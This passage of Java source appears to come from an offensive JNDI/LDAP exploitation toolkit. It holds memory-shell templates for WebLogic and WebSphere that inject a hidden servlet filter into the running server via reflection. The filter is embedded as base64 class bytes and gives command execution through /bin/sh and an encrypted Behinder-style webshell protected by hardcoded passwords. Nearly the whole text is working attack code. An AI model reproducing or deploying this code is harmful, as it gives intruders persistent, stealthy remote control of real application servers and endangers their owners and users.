"yv66vgAAADIBXgoAQgCnCACoCQBdAKkIAKoJAF0AqwgArAkAXQCtCgBdAK4JAK8AsAgAsQoAsgCzCAC0CwBIALUIALYKABMAtwoAEwC4CQC5ALoIALsHALwIAL0IAL4IAHcIAL8HAMAKAMEAwgoAwQDDCgDEAMUKABgAxggAxwoAGADICgAYAMkLAEkAygoAywCzBwDMCwAiAM0LACIAzggAzwsAIgDQCADRCwDSANMIANQKANUA1gcA1wcA2AoALACnCwDSANkKACwA2ggA2woALADcCgAsAN0KABMA3goAKwDfCgDVAOAHAOEKADYApwsASADiCgDjAOQKADYA5QoA1QDmCQBdAOcIAOgHAOkHAHwHAOoKAD4A6wcA7AoA7QDuCgDtAO8KAPAA8QoAPgDyCADzBwD0BwD1BwD2CgBKAPcLAPgA+QgA+goAQAD7BwD8CgBCAP0JAP4A/wcBAAoAPgEBCAECCgDwAQMKAP4BBAcBBQoAVwD3BwEGCgBZAPcHAQcKAFsA9wcBCAcBCQEAEm15Q2xhc3NMb2FkZXJDbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAQYmFzaWNDbWRTaGVsbFB3ZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAE2JlaGluZGVyU2hlbGxIZWFkZXIBABBiZWhpbmRlclNoZWxsUHdkAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADFMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9EeW5hbWljRmlsdGVyVGVtcGxhdGU7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcBCgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQADY21kAQABawEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEADmV2aWxDbGFzc0J5dGVzAQACW0IBAAlldmlsQ2xhc3MBAApldmlsT2JqZWN0AQASTGphdmEvbGFuZy9PYmplY3Q7AQAMdGFyZ2V0TWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAOc2VydmxldFJlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA9zZXJ2bGV0UmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQALZmlsdGVyQ2hhaW4BABtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjsBAA1TdGFja01hcFRhYmxlBwC8BwB1BwD2AQAHZGVzdHJveQEACmluaXRpYWxpemUBAAJleAEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEABWNsYXp6AQAGbWV0aG9kAQAEY29kZQEABWJ5dGVzAQAiTGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uOwEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBACJMamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb247AQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQAtTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb247BwEIBwDqBwD8BwDpBwELBwEABwEFBwEGBwEHAQAKU291cmNlRmlsZQEAGkR5bmFtaWNGaWx0ZXJUZW1wbGF0ZS5qYXZhDABlAGYBAARwYXNzDABhAGIBAAxYLU9wdGlvbnMtQWkMAGMAYgEAEGU0NWUzMjlmZWI1ZDkyNWIMAGQAYgwAjwBmBwEMDAENAQ4BAB1bK10gRHluYW1pYyBGaWx0ZXIgc2F5cyBoZWxsbwcBDwwBEAERAQAEdHlwZQwBEgETAQAFYmFzaWMMAPMBFAwBFQEWBwEXDAEYAGIBAAEvAQAQamF2YS9sYW5nL1N0cmluZwEABy9iaW4vc2gBAAItYwEAAi9DAQARamF2YS91dGlsL1NjYW5uZXIHARkMARoBGwwBHAEdBwEeDAEfASAMAGUBIQEAAlxBDAEiASMMASQBJQwBJgEnBwEoAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwBKQETDAEqASUBAARQT1NUDAErASwBAAF1BwEtDAEuAS8BAANBRVMHATAMATEBMgEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBMwE0DAE1ATYBAAAMATUBNwwBOAElDAE5AToMAGUBOwwAbAE8AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwBPQE+BwE/DAFAASUMAUEBQgwBQwFEDABfAGABAAtkZWZpbmVDbGFzcwEAD2phdmEvbGFuZy9DbGFzcwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgwBRQFGAQAQamF2YS9sYW5nL09iamVjdAcBRwwBSAFJDAFKAUsHAQsMAUwBTQwBTgFPAQAGZXF1YWxzAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBUABmBwFRDAByAVIBACdjb20uZmVpaG9uZy5sZGFwLnRlbXBsYXRlLk15Q2xhc3NMb2FkZXIMAVMBVAEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uDAFVAVYHAVcMAVgAYAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24MAVkBVgEDHHl2NjZ2Z0FBQURJQUd3b0FCUUFXQndBWENnQUNBQllLQUFJQUdBY0FHUUVBQmp4cGJtbDBQZ0VBR2loTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPeWxXQVFBRVEyOWtaUUVBRDB4cGJtVk9kVzFpWlhKVVlXSnNaUUVBRWt4dlkyRnNWbUZ5YVdGaWJHVlVZV0pzWlFFQUJIUm9hWE1CQUNsTVkyOXRMMlpsYVdodmJtY3ZiR1JoY0M5MFpXMXdiR0YwWlM5TmVVTnNZWE56VEc5aFpHVnlPd0VBQVdNQkFCZE1hbUYyWVM5c1lXNW5MME5zWVhOelRHOWhaR1Z5T3dFQUMyUmxabWx1WlVOc1lYTnpBUUFzS0Z0Q1RHcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjanNwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjenNCQUFWaWVYUmxjd0VBQWx0Q0FRQUxZMnhoYzNOTWIyRmtaWElCQUFwVGIzVnlZMlZHYVd4bEFRQVNUWGxEYkdGemMweHZZV1JsY2k1cVlYWmhEQUFHQUFjQkFDZGpiMjB2Wm1WcGFHOXVaeTlzWkdGd0wzUmxiWEJzWVhSbEwwMTVRMnhoYzNOTWIyRmtaWElNQUE4QUdnRUFGV3BoZG1FdmJHRnVaeTlEYkdGemMweHZZV1JsY2dFQUZ5aGJRa2xKS1V4cVlYWmhMMnhoYm1jdlEyeGhjM003QUNFQUFnQUZBQUFBQUFBQ0FBQUFCZ0FIQUFFQUNBQUFBRG9BQWdBQ0FBQUFCaW9ydHdBQnNRQUFBQUlBQ1FBQUFBWUFBUUFBQUFRQUNnQUFBQllBQWdBQUFBWUFDd0FNQUFBQUFBQUdBQTBBRGdBQkFBa0FEd0FRQUFFQUNBQUFBRVFBQkFBQ0FBQUFFTHNBQWxrcnR3QURLZ01xdnJZQUJMQUFBQUFDQUFrQUFBQUdBQUVBQUFBSUFBb0FBQUFXQUFJQUFBQVFBQkVBRWdBQUFBQUFFQUFUQUE0QUFRQUJBQlFBQUFBQ0FCVT0MAVoBWwwBXAFdAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEAL2NvbS9mZWlob25nL2xkYXAvdGVtcGxhdGUvRHluYW1pY0ZpbHRlclRlbXBsYXRlAQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAB2lzRW1wdHkBAAMoKVoBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEACWdldEhlYWRlcgEACWdldE1ldGhvZAEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEABmFwcGVuZAEALShMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEACWdldFJlYWRlcgEAGigpTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEACHJlYWRMaW5lAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBAA1nZXRTdXBlcmNsYXNzAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwAhAF0AQgABAF4ABAACAF8AYAAAAAIAYQBiAAAAAgBjAGIAAAACAGQAYgAAAAUAAQBlAGYAAQBnAAAAWQACAAEAAAAbKrcAASoSArUAAyoSBLUABSoSBrUAByq3AAixAAAAAgBoAAAAGgAGAAAAFgAEABEACgASABAAEwAWABcAGgAYAGkAAAAMAAEAAAAbAGoAawAAAAEAbABtAAIAZwAAADUAAAACAAAAAbEAAAACAGgAAAAGAAEAAAAdAGkAAAAWAAIAAAABAGoAawAAAAAAAQBuAG8AAQBwAAAABAABAHEAAQByAHMAAgBnAAAC5AAHAAoAAAGpsgAJEgq2AAsrEgy5AA0CAMYAkSsSDLkADQIAEg62AA+ZAIErKrQAA7kADQIAOgQZBMYAbRkEtgAQmgBlAToFsgAREhK2AA+ZABsGvQATWQMSFFNZBBIVU1kFGQRTOgWnABgGvQATWQMSFlNZBBIXU1kFGQRTOgW7ABhZuAAZGQW2ABq2ABu3ABwSHbYAHrYAHzoGLLkAIAEAGQa2ACGnAQorwAAiKrQABbkAIwIAxgDyK8AAIrkAJAEAEiW2AA+ZANQqtAAHOgQrwAAiuQAmAQASJxkEuQAoAwASKbgAKjoFGQUFuwArWbsALFm3AC0rwAAiuQAmAQASJ7kALgIAtgAvEjC2ADG2ADK2ADMSKbcANLYANRkFuwA2WbcANyu5ADgBALYAObYAOrYAOzoGKrQAPBI9Bb0APlkDEj9TWQQSQFO2AEEBBb0AQlkDGQZTWQS4AEO2AERTtgBFwAA+OgcZB7YARjoIGQcSRwW9AD5ZAxJIU1kEEklTtgBBOgkZCRkIBb0AQlkDK1NZBCxTtgBFV6cAFToEGQS2AEunAAstKyy5AEwDALEAAQCxAZMBlgBKAAMAaAAAAG4AGwAAACEACAAkACMAJgAvACcAPAAoAD8AKQBKACoAYgAsAHcALgCTAC8AngAxALEANADCADUAyAA2ANoANwDhADgBFQA5AS8AOgFhADsBaAA8AX8APQGTAEEBlgA/AZgAQAGdAEEBoABDAagARQBpAAAAjgAOAD8AXwB0AHUABQCTAAsAdgBiAAYALwBvAHcAYgAEAMgAywB4AGIABADhALIAeQB6AAUBLwBkAHsAfAAGAWEAMgB9AGAABwFoACsAfgB/AAgBfwAUAIAAgQAJAZgABQCCAIMABAAAAakAagBrAAAAAAGpAIQAhQABAAABqQCGAIcAAgAAAakAiACJAAMAigAAABkACP0AYgcAiwcAjBT5ACYC+wDxQgcAjQkHAHAAAAAGAAIAWQBxAAEAjgBmAAEAZwAAACsAAAABAAAAAbEAAAACAGgAAAAGAAEAAABKAGkAAAAMAAEAAAABAGoAawAAAAIAjwBmAAEAZwAAAgMABwAHAAAAqbgAQ7YAREwqKxJNtgBOtQA8pwB/TSu2AFBOAToEGQTHADMtEkKlAC0tEj0GvQA+WQMSP1NZBLIAUVNZBbIAUVO2AEE6BKf/2DoFLbYAU06n/84SVDoFuwA2WbcANxkFtgA6OgYZBAS2AFUqGQQrBr0AQlkDGQZTWQQDuABWU1kFGQa+uABWU7YARcAAPrUAPKcAGEwrtgBYpwAQTCu2AFqnAAhMK7YAXLEABQAHABEAFABPACgARQBIAFIAAACQAJMAVwAAAJAAmwBZAAAAkACjAFsAAwBoAAAAagAaAAAATgAHAFAAEQBgABQAUQAVAFIAGgBTAB0AVAAoAFYARQBZAEgAVwBKAFgATwBZAFIAXABWAF0AZABeAGoAXwCQAGcAkwBhAJQAYgCYAGcAmwBjAJwAZACgAGcAowBlAKQAZgCoAGgAaQAAAHAACwBKAAUAkACRAAUAGgB2AJIAYAADAB0AcwCTAIEABABWADoAlABiAAUAZAAsAJUAfAAGABUAewCCAJYAAgAHAIkAlwCYAAEAlAAEAIIAmQABAJwABACCAJoAAQCkAAQAggCbAAEAAACpAGoAawAAAIoAAAA6AAn/ABQAAgcAnAcAnQABBwCe/gAIBwCeBwCfBwCgagcAoQn/AD0AAQcAnAAAQgcAokcHAKNHBwCkBAABAKUAAAACAKY="; byte[] bytes = base64Decoder.decodeBuffer(codeClass); Method method = null; Class clz = cl.getClass(); while(method == null && clz != Object.class ){ try{ method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); }catch(NoSuchMethodException ex){ clz = clz.getSuperclass(); } } method.setAccessible(true); clazz = (Class) method.invoke(cl, bytes, 0, bytes.length); } //将 Filter 注册进 FilterManager //参数: String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers Method registerFilterMethod = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class); registerFilterMethod.setAccessible(true); registerFilterMethod.invoke(filterManager, filterName, "com.feihong.ldap.template.DynamicFilterTemplate", new String[]{urlPattern}, null, null, null); //将我们添加的 Filter 移动到 FilterChian 的第一位 Field filterPatternListField = filterManager.getClass().getDeclaredField("filterPatternList"); filterPatternListField.setAccessible(true); ArrayList filterPatternList = (ArrayList)filterPatternListField.get(filterManager); //不能用 filterName 来判断,因为在 11g 中此值为空,在 12g 中正常 for(int i = 0; i < filterPatternList.size(); i++){ Object filterPattern = filterPatternList.get(i); Field f = filterPattern.getClass().getDeclaredField("map"); f.setAccessible(true); ServletMapping mapping = (ServletMapping) f.get(filterPattern); f = mapping.getClass().getSuperclass().getDeclaredField("matchMap"); f.setAccessible(true); MatchMap matchMap = (MatchMap)f.get(mapping); Object result = matchMap.match(urlPattern); if(result != null && result.toString().contains(urlPattern)){ Object temp = filterPattern; filterPatternList.set(i, filterPatternList.get(0)); filterPatternList.set(0, temp); break; } } } } } }catch(Exception e){ //pass } } }catch (Exception e){ e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } } ================================================ FILE: src/main/java/com/feihong/ldap/template/WebsphereMemshellTemplate.java ================================================ package com.feihong.ldap.template; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import sun.misc.BASE64Decoder; import javax.servlet.DispatcherType; import javax.servlet.Filter; import java.lang.reflect.Method; import java.util.EnumSet; import java.util.List; public class WebsphereMemshellTemplate extends AbstractTranslet { public WebsphereMemshellTemplate(){ try{ String filterName = "dynamicFilter"; String urlPattern = "/*"; Class clazz = Thread.currentThread().getClass(); java.lang.reflect.Field field = clazz.getDeclaredField("wsThreadLocals"); field.setAccessible(true); Object obj = field.get(Thread.currentThread()); Object[] obj_arr = (Object[]) obj; for(int j = 0; j < obj_arr.length; j++){ Object o = obj_arr[j]; if(o == null) continue; if(o.getClass().getName().endsWith("WebContainerRequestState")){ Object request = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]); Object servletContext = request.getClass().getMethod("getServletContext", new Class[0]).invoke(request, new Object[0]); field = servletContext.getClass().getDeclaredField("context"); field.setAccessible(true); Object context = field.get(servletContext); field = context.getClass().getSuperclass().getDeclaredField("config"); field.setAccessible(true); Object webAppConfiguration = field.get(context); Method method = null; Method[] methods = webAppConfiguration.getClass().getMethods(); for(int i = 0; i < methods.length; i++){ if(methods[i].getName().equals("getFilterMappings")){ method = methods[i]; break; } } List filerMappings = (List) method.invoke(webAppConfiguration, new Object[0]); boolean flag = false; for(int i = 0; i < filerMappings.size(); i++){ Object filterConfig = filerMappings.get(i).getClass().getMethod("getFilterConfig", new Class[0]).invoke(filerMappings.get(i), new Object[0]); String name = (String) filterConfig.getClass().getMethod("getFilterName", new Class[0]).invoke(filterConfig, new Object[0]); if(name.equals(filterName)){ flag = true; break; } } //如果已存在同名的 Filter,就不在添加,防止重复添加 if(!flag){ System.out.println("[+] Add Dynamic Filter"); ClassLoader cl = Thread.currentThread().getContextClassLoader(); try{ clazz = cl.loadClass("com.feihong.ldap.template.DynamicFilterTemplate"); }catch(ClassNotFoundException e){ BASE64Decoder base64Decoder = new BASE64Decoder(); String codeClass = "yv66vgAAADIBXgoAQgCnCACoCQBdAKkIAKoJAF0AqwgArAkAXQCtCgBdAK4JAK8AsAgAsQoAsgCzCAC0CwBIALUIALYKABMAtwoAEwC4CQC5ALoIALsHALwIAL0IAL4IAHcIAL8HAMAKAMEAwgoAwQDDCgDEAMUKABgAxggAxwoAGADICgAYAMkLAEkAygoAywCzBwDMCwAiAM0LACIAzggAzwsAIgDQCADRCwDSANMIANQKANUA1gcA1wcA2AoALACnCwDSANkKACwA2ggA2woALADcCgAsAN0KABMA3goAKwDfCgDVAOAHAOEKADYApwsASADiCgDjAOQKADYA5QoA1QDmCQBdAOcIAOgHAOkHAHwHAOoKAD4A6wcA7AoA7QDuCgDtAO8KAPAA8QoAPgDyCADzBwD0BwD1BwD2CgBKAPcLAPgA+QgA+goAQAD7BwD8CgBCAP0JAP4A/wcBAAoAPgEBCAECCgDwAQMKAP4BBAcBBQoAVwD3BwEGCgBZAPcHAQcKAFsA9wcBCAcBCQEAEm15Q2xhc3NMb2FkZXJDbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAQYmFzaWNDbWRTaGVsbFB3ZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAE2JlaGluZGVyU2hlbGxIZWFkZXIBABBiZWhpbmRlclNoZWxsUHdkAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADFMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9EeW5hbWljRmlsdGVyVGVtcGxhdGU7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcBCgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQADY21kAQABawEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEADmV2aWxDbGFzc0J5dGVzAQACW0IBAAlldmlsQ2xhc3MBAApldmlsT2JqZWN0AQASTGphdmEvbGFuZy9PYmplY3Q7AQAMdGFyZ2V0TWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAOc2VydmxldFJlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA9zZXJ2bGV0UmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQALZmlsdGVyQ2hhaW4BABtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjsBAA1TdGFja01hcFRhYmxlBwC8BwB1BwD2AQAHZGVzdHJveQEACmluaXRpYWxpemUBAAJleAEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEABWNsYXp6AQAGbWV0aG9kAQAEY29kZQEABWJ5dGVzAQAiTGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uOwEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBACJMamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb247AQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQAtTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb247BwEIBwDqBwD8BwDpBwELBwEABwEFBwEGBwEHAQAKU291cmNlRmlsZQEAGkR5bmFtaWNGaWx0ZXJUZW1wbGF0ZS5qYXZhDABlAGYBAARwYXNzDABhAGIBAAxYLU9wdGlvbnMtQWkMAGMAYgEAEGU0NWUzMjlmZWI1ZDkyNWIMAGQAYgwAjwBmBwEMDAENAQ4BAB1bK10gRHluYW1pYyBGaWx0ZXIgc2F5cyBoZWxsbwcBDwwBEAERAQAEdHlwZQwBEgETAQAFYmFzaWMMAPMBFAwBFQEWBwEXDAEYAGIBAAEvAQAQamF2YS9sYW5nL1N0cmluZwEABy9iaW4vc2gBAAItYwEAAi9DAQARamF2YS91dGlsL1NjYW5uZXIHARkMARoBGwwBHAEdBwEeDAEfASAMAGUBIQEAAlxBDAEiASMMASQBJQwBJgEnBwEoAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwBKQETDAEqASUBAARQT1NUDAErASwBAAF1BwEtDAEuAS8BAANBRVMHATAMATEBMgEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBMwE0DAE1ATYBAAAMATUBNwwBOAElDAE5AToMAGUBOwwAbAE8AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwBPQE+BwE/DAFAASUMAUEBQgwBQwFEDABfAGABAAtkZWZpbmVDbGFzcwEAD2phdmEvbGFuZy9DbGFzcwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgwBRQFGAQAQamF2YS9sYW5nL09iamVjdAcBRwwBSAFJDAFKAUsHAQsMAUwBTQwBTgFPAQAGZXF1YWxzAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBUABmBwFRDAByAVIBACdjb20uZmVpaG9uZy5sZGFwLnRlbXBsYXRlLk15Q2xhc3NMb2FkZXIMAVMBVAEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uDAFVAVYHAVcMAVgAYAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24MAVkBVgEDHHl2NjZ2Z0FBQURJQUd3b0FCUUFXQndBWENnQUNBQllLQUFJQUdBY0FHUUVBQmp4cGJtbDBQZ0VBR2loTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPeWxXQVFBRVEyOWtaUUVBRDB4cGJtVk9kVzFpWlhKVVlXSnNaUUVBRWt4dlkyRnNWbUZ5YVdGaWJHVlVZV0pzWlFFQUJIUm9hWE1CQUNsTVkyOXRMMlpsYVdodmJtY3ZiR1JoY0M5MFpXMXdiR0YwWlM5TmVVTnNZWE56VEc5aFpHVnlPd0VBQVdNQkFCZE1hbUYyWVM5c1lXNW5MME5zWVhOelRHOWhaR1Z5T3dFQUMyUmxabWx1WlVOc1lYTnpBUUFzS0Z0Q1RHcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjanNwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjenNCQUFWaWVYUmxjd0VBQWx0Q0FRQUxZMnhoYzNOTWIyRmtaWElCQUFwVGIzVnlZMlZHYVd4bEFRQVNUWGxEYkdGemMweHZZV1JsY2k1cVlYWmhEQUFHQUFjQkFDZGpiMjB2Wm1WcGFHOXVaeTlzWkdGd0wzUmxiWEJzWVhSbEwwMTVRMnhoYzNOTWIyRmtaWElNQUE4QUdnRUFGV3BoZG1FdmJHRnVaeTlEYkdGemMweHZZV1JsY2dFQUZ5aGJRa2xKS1V4cVlYWmhMMnhoYm1jdlEyeGhjM003QUNFQUFnQUZBQUFBQUFBQ0FBQUFCZ0FIQUFFQUNBQUFBRG9BQWdBQ0FBQUFCaW9ydHdBQnNRQUFBQUlBQ1FBQUFBWUFBUUFBQUFRQUNnQUFBQllBQWdBQUFBWUFDd0FNQUFBQUFBQUdBQTBBRGdBQkFBa0FEd0FRQUFFQUNBQUFBRVFBQkFBQ0FBQUFFTHNBQWxrcnR3QURLZ01xdnJZQUJMQUFBQUFDQUFrQUFBQUdBQUVBQUFBSUFBb0FBQUFXQUFJQUFBQVFBQkVBRWdBQUFBQUFFQUFUQUE0QUFRQUJBQlFBQUFBQ0FCVT0MAVoBWwwBXAFdAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BABNqYXZhL2lvL